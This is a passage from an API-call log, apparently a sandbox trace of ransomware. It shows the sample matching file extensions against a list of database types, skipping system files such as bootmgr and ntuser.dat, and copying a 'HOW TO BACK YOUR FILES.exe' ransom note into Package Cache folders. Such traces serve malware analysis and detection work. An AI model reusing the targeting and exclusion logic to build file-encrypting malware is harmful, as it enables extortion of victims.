	[0050.644] lstrlenW (lpString="sqlitedb") returned 8
	[0050.644] lstrcmpiW (lpString1="_x64.msi", lpString2="sqlitedb") returned -1
	[0050.644] lstrlenW (lpString="xml") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0050.644] lstrlenW (lpString="$er") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0050.644] lstrlenW (lpString="4dd") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0050.644] lstrlenW (lpString="4dl") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0050.644] lstrlenW (lpString="^^^") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0050.644] lstrlenW (lpString="abs") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0050.644] lstrlenW (lpString="abx") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0050.645] lstrlenW (lpString="accdb") returned 5
	[0050.645] lstrcmpiW (lpString1="4.msi", lpString2="accdb") returned -1
	[0050.645] lstrlenW (lpString="accdc") returned 5
	[0050.645] lstrcmpiW (lpString1="4.msi", lpString2="accdc") returned -1
	[0050.645] lstrlenW (lpString="accde") returned 5
	[0050.645] lstrcmpiW (lpString1="4.msi", lpString2="accde") returned -1
	[0050.645] lstrlenW (lpString="accdr") returned 5
	[0050.645] lstrcmpiW (lpString1="4.msi", lpString2="accdr") returned -1
	[0050.645] lstrlenW (lpString="accdt") returned 5
	[0050.645] lstrcmpiW (lpString1="4.msi", lpString2="accdt") returned -1
	[0050.645] lstrlenW (lpString="accdw") returned 5
	[0050.645] lstrcmpiW (lpString1="4.msi", lpString2="accdw") returned -1
	[0050.645] lstrlenW (lpString="accft") returned 5
	[0050.645] lstrcmpiW (lpString1="4.msi", lpString2="accft") returned -1
	[0050.645] lstrlenW (lpString="adb") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0050.645] lstrlenW (lpString="adb") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0050.645] lstrlenW (lpString="ade") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0050.645] lstrlenW (lpString="adf") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0050.645] lstrlenW (lpString="adn") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0050.645] lstrlenW (lpString="adp") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0050.645] lstrlenW (lpString="alf") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0050.645] lstrlenW (lpString="ask") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0050.645] lstrlenW (lpString="btr") returned 3
	[0050.645] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0050.645] lstrlenW (lpString="cat") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0050.646] lstrlenW (lpString="cdb") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0050.646] lstrlenW (lpString="ckp") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0050.646] lstrlenW (lpString="cma") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0050.646] lstrlenW (lpString="cpd") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0050.646] lstrlenW (lpString="dacpac") returned 6
	[0050.646] lstrcmpiW (lpString1="64.msi", lpString2="dacpac") returned -1
	[0050.646] lstrlenW (lpString="dad") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0050.646] lstrlenW (lpString="dadiagrams") returned 10
	[0050.646] lstrcmpiW (lpString1="al_x64.msi", lpString2="dadiagrams") returned -1
	[0050.646] lstrlenW (lpString="daschema") returned 8
	[0050.646] lstrcmpiW (lpString1="_x64.msi", lpString2="daschema") returned -1
	[0050.646] lstrlenW (lpString="db-journal") returned 10
	[0050.646] lstrcmpiW (lpString1="al_x64.msi", lpString2="db-journal") returned -1
	[0050.646] lstrlenW (lpString="db-shm") returned 6
	[0050.646] lstrcmpiW (lpString1="64.msi", lpString2="db-shm") returned -1
	[0050.646] lstrlenW (lpString="db-wal") returned 6
	[0050.646] lstrcmpiW (lpString1="64.msi", lpString2="db-wal") returned -1
	[0050.646] lstrlenW (lpString="dbc") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0050.646] lstrlenW (lpString="dbs") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0050.646] lstrlenW (lpString="dbt") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0050.646] lstrlenW (lpString="dbv") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0050.646] lstrlenW (lpString="dbx") returned 3
	[0050.646] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0050.647] lstrlenW (lpString="dcb") returned 3
	[0050.647] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0050.647] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0050.647] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0050.647] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0050.647] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0050.647] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0050.647] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0050.647] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0050.647] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0050.647] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0050.647] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 67
	[0050.647] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0050.647] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.647] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.648] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.648] GetLastError () returned 0x0
	[0050.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.648] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.648] CloseHandle (hObject=0x15c) returned 1
	[0050.648] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.648] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.648] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.648] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.648] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.648] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.648] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.648] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.648] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.648] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.648] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.648] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6129b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.648] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.648] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="Apollon865.txt.exe") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1
	[0050.649] lstrlenW (lpString="state.rsm") returned 9
	[0050.649] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned 69
	[0050.649] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0050.649] lstrlenW (lpString="state.rsm") returned 9
	[0050.649] lstrlenW (lpString="Apollon865") returned 10
	[0050.649] lstrlenW (lpString=".dll") returned 4
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0050.649] lstrlenW (lpString=".lnk") returned 4
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0050.649] lstrlenW (lpString=".ini") returned 4
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0050.649] lstrlenW (lpString=".sys") returned 4
	[0050.649] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0050.649] lstrlenW (lpString="state.rsm") returned 9
	[0050.649] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="vcredist_x86.exe" | out: lpString1="vcredist_x86.exe") returned="vcredist_x86.exe"
	[0050.649] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0050.649] lstrlenW (lpString="Apollon865") returned 10
	[0050.650] lstrcmpiW (lpString1="st_x86.exe", lpString2="Apollon865") returned 1
	[0050.650] lstrlenW (lpString=".dll") returned 4
	[0050.650] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".dll") returned 1
	[0050.650] lstrlenW (lpString=".lnk") returned 4
	[0050.650] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".lnk") returned 1
	[0050.650] lstrlenW (lpString=".ini") returned 4
	[0050.650] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".ini") returned 1
	[0050.650] lstrlenW (lpString=".sys") returned 4
	[0050.650] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".sys") returned 1
	[0050.650] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0050.650] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0050.650] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0050.650] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0050.650] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 78
	[0050.650] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0050.650] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.650] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.650] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.651] GetLastError () returned 0x0
	[0050.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.651] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.651] CloseHandle (hObject=0x15c) returned 1
	[0050.651] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.651] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.651] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.651] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.651] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.651] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.651] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.651] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.651] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.651] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.651] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.651] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6129b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.651] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.651] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0050.651] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.651] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0050.651] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0050.651] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0050.651] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0050.652] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0050.652] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0050.652] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0050.652] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0050.652] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0050.652] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0050.652] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0050.652] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0050.652] lstrlenW (lpString="packages") returned 8
	[0050.652] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned 80
	[0050.652] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0050.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x5994e8
	[0050.652] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0050.652] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.652] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.652] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0050.652] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0050.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0050.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0050.652] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned 87
	[0050.652] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0050.652] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.652] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.653] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.653] GetLastError () returned 0x0
	[0050.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.653] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.653] CloseHandle (hObject=0x15c) returned 1
	[0050.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.653] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.653] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.653] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.653] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.653] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.653] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.653] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.653] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.653] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.653] lstrcmpiW (lpString1="..", lpString2="..") returned 0
